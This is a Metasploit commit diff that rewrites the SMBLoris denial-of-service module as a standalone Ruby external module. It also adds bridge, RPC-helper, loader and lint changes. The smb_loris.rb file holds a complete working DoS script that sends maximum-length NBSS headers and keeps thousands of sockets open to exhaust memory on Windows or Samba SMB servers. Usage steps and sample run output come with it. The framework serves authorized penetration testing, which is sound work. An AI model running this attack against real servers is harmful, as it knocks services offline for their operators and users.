Land #9748, Convert the smbloris DoS into an external module

Help reliability and performance. This some Ruby-specific external module
tooling as a result as well.
GSoC/Meterpreter_Web_Console
Brent Cook 2018-04-02 23:25:10 -05:00
commit 226ef160ff
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
8 changed files with 191 additions and 118 deletions

View File

@ -3,7 +3,7 @@
This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
The module opens over 64,000 connections to the target service, so please make sure
your system ULIMIT is set appropriately to handle it. A single host running this module
can theoretically consume up to 8GB of memory on the target.
@ -14,7 +14,7 @@
1. Start msfconsole
1. Do: `use auxiliary/dos/smb/smb_loris`
1. Do: `set RHOST [IP]`
1. Do: `set rhost [IP]`
1. Do: `run`
1. Target should allocate increasing amounts of memory.
@ -30,14 +30,11 @@ msf auxiliary(smb_loris) >
msf auxiliary(smb_loris) > run
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
....
[*] Starting server...
[*] 192.168.172.138:445 - 100 socket(s) open
[*] 192.168.172.138:445 - 200 socket(s) open
...
[!] 192.168.172.138:445 - At open socket limit with 4000 sockets open. Try increasing you system limits.
[*] 192.168.172.138:445 - Holding steady at 4000 socket(s) open
...
```

View File

@ -42,7 +42,7 @@ class Msf::Modules::External::Bridge
self.env = {}
self.running = false
self.path = module_path
self.cmd = [self.path, self.path]
self.cmd = [[self.path, self.path]]
self.messages = Queue.new
self.buf = ''
end
@ -66,7 +66,7 @@ class Msf::Modules::External::Bridge
end
def send(message)
input, output, err, status = ::Open3.popen3(self.env, self.cmd)
input, output, err, status = ::Open3.popen3(self.env, *self.cmd)
self.ios = [input, output, err]
self.wait_thread = status
# We would call Rex::Threadsafe directly, but that would require rex for standalone use
@ -148,7 +148,7 @@ class Msf::Modules::External::Bridge
# We are filtering for a response to a particular message, but we got
# something else, store the message and try again
self.messages.push m
read_json(filter_id, timeout)
recv(filter_id, timeout)
else
# Either we weren't filtering, or we got what we were looking for
m
@ -179,10 +179,24 @@ class Msf::Modules::External::PyBridge < Msf::Modules::External::Bridge
end
end
class Msf::Modules::External::RbBridge < Msf::Modules::External::Bridge
def self.applies?(module_name)
module_name.match? /\.rb$/
end
def initialize(module_path)
super
ruby_path = File.expand_path('../ruby', __FILE__)
self.cmd = [[Gem.ruby, 'ruby'], "-I#{ruby_path}", self.path]
end
end
class Msf::Modules::External::Bridge
LOADERS = [
Msf::Modules::External::PyBridge,
Msf::Modules::External::RbBridge,
Msf::Modules::External::Bridge
]

View File

@ -0,0 +1,58 @@
require 'json'
module Metasploit
class << self
attr_accessor :logging_prefix
def log(message, level: 'debug')
rpc_send({
jsonrpc: '2.0', method: 'message', params: {
level: level,
message: self.logging_prefix + message
}
})
end
def report_host(ip, **opts)
report(:host, opts.merge(host: ip))
end
def report_service(ip, **opts)
report(:service, opts.merge(host: ip))
end
def report_vuln(ip, name, **opts)
report(:vuln, opts.merge(host: ip, name: name))
end
def run(metadata, callback)
self.logging_prefix = ''
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
if req[:method] == 'describe'
rpc_send({
jsonrpc: '2.0', id: req[:id], response: metadata
})
elsif req[:method] == 'run'
callback.call req[:params]
rpc_send({
jsonrpc: '2.0', id: req[:id], response: {
message: 'Module completed'
}
})
end
end
def report(kind, data)
rpc_send({
jsonrpc: '2.0', method: 'report', params: {
type: kind, data: data
}
})
end
def rpc_send(req)
puts JSON.generate(req)
$stdout.flush
end
end
end

View File

@ -43,6 +43,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
next if File::basename(relative_entry_descendant_path) == "example.rb"
next if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
# The module_reference_name doesn't have a file extension
module_reference_name = module_reference_name_from_path(relative_entry_descendant_path)

View File

@ -85,7 +85,7 @@ class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
begin
Msf::Modules::External::Shim.generate(full_path)
rescue ::Exception => e
elog "Unable to load module #{full_path} #{e.class} #{e}"
elog "Unable to load module #{full_path} #{e.class} #{e} #{e.backtrace.join "\n"}"
# XXX migrate this to a full load_error when we can tell the user why the
# module did not load and/or how to resolve it.
# load_error(full_path, e)

176
modules/auxiliary/dos/smb/smb_loris.rb Normal file → Executable file
View File

@ -1,89 +1,95 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#!/usr/bin/env ruby
require 'socket'
require 'metasploit'
require 'bindata'
require 'ruby_smb'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
class NbssHeader < BinData::Record
endian :little
uint8 :message_type
bit7 :flags
bit17 :message_length
end
def initialize(info = {})
super(update_info(info,
'Name' => 'SMBLoris NBSS Denial of Service',
'Description' => %q{
The SMBLoris attack consumes large chunks of memory in the target by sending
SMB requests with the NetBios Session Service(NBSS) Length Header value set
to the maximum possible value. By keeping these connections open and initiating
large numbers of these sessions, the memory does not get freed, and the server
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
and Zach Harding.
DISCALIMER: This module opens a lot of simultaneous connections. Please check
your system's ULIMIT to make sure it can handle it. This module will also run
continuously until stopped.
},
'Author' =>
[
'thelightcosine'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://smbloris.com/' ]
],
'DisclosureDate' => 'Jul 29 2017'
))
register_options(
[
Opt::RPORT(445)
])
end
def run
header = NbssHeader.new
header.message_length = 0x01FFFF
linger = Socket::Option.linger(true, 60)
while true do
sockets = {}
(1025..65535).each do |src_port|
print_status "Sending packet from Source Port: #{src_port}"
opts = {
'CPORT' => src_port,
'ConnectTimeout' => 360
}
if sockets[src_port]
disconnect(sockets[src_port])
end
begin
nsock = connect(false, opts)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(linger)
nsock.write(header.to_binary_s)
sockets[src_port] = nsock
rescue ::Exception => e
print_error "Exception sending packet: #{e.message}"
end
end
end
end
class NbssHeader < BinData::Record
endian :little
uint8 :message_type
bit7 :flags
bit17 :message_length
end
metadata = {
name: 'SMBLoris NBSS Denial of Service',
description: %q{
The SMBLoris attack consumes large chunks of memory in the target by sending
SMB requests with the NetBios Session Service(NBSS) Length Header value set
to the maximum possible value. By keeping these connections open and initiating
large numbers of these sessions, the memory does not get freed, and the server
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
and Zach Harding.
DISCALIMER: This module opens a lot of simultaneous connections. Please check
your system's ULIMIT to make sure it can handle it. This module will also run
continuously until stopped.
},
authors: [
'thelightcosine',
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
date: '2017-06-29',
references: [
{ type: 'url', ref: 'http://smbloris.com/' }
],
type: 'dos',
options: {
rhost: {type: 'address', description: 'The target address', required: true, default: nil},
rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
}
}
def run(args)
header = NbssHeader.new
header.message_length = 0x01FFFF
last_reported = 0
warned = false
n_loops = 0
sockets = []
target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)
Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "
while true do
begin
sockets.delete_if do |s|
s.closed?
end
nsock = target.connect(timeout: 360)
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
nsock.setsockopt(Socket::Option.linger(true, 60))
nsock.write(header.to_binary_s)
sockets << nsock
n_loops += 1
if last_reported != sockets.length
if n_loops % 100 == 0
last_reported = sockets.length
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
end
elsif n_loops % 1000 == 0
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
end
rescue Interrupt
break
sockets.each &:close
rescue Errno::EMFILE
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing you system limits.", level: 'warning' unless warned
warned = true
sockets.slice(0).close
rescue Exception => e
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
end
end
end
if __FILE__ == $PROGRAM_NAME
Metasploit.run(metadata, method(:run))
end

View File

@ -18,17 +18,19 @@ RSpec.shared_examples_for 'all modules with module type can be instantiated' do
module_extension_regexp = /#{Regexp.escape(module_extension)}$/
Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path|
module_pathname = Pathname.new(module_path)
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
unless File.executable? module_path
module_pathname = Pathname.new(module_path)
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
context module_reference_name do
it 'can be instantiated' do
load_and_create_module(
module_type: module_type,
modules_path: modules_path,
reference_name: module_reference_name
)
context module_reference_name do
it 'can be instantiated' do
load_and_create_module(
module_type: module_type,
modules_path: modules_path,
reference_name: module_reference_name
)
end
end
end
end

View File

@ -109,12 +109,6 @@ class Msftidy
#
##
def check_mode
unless (@stat.mode & 0111).zero?
warn("Module should not be marked executable")
end
end
def check_shebang
if @lines.first =~ /^#!/
warn("Module should not have a #! line")
@ -683,7 +677,6 @@ class Msftidy
# Run all the msftidy checks.
#
def run_checks
check_mode
check_shebang
check_nokogiri
check_rubygems
@ -757,6 +750,8 @@ if __FILE__ == $PROGRAM_NAME
next if full_filepath =~ /\.git[\x5c\x2f]/
next unless File.file? full_filepath
next unless full_filepath =~ /\.rb$/
# Executable files are now assumed to be external modules
next if File.executable?(full_filepath)
msftidy = Msftidy.new(full_filepath)
msftidy.run_checks
@exit_status = msftidy.status if (msftidy.status > @exit_status.to_i)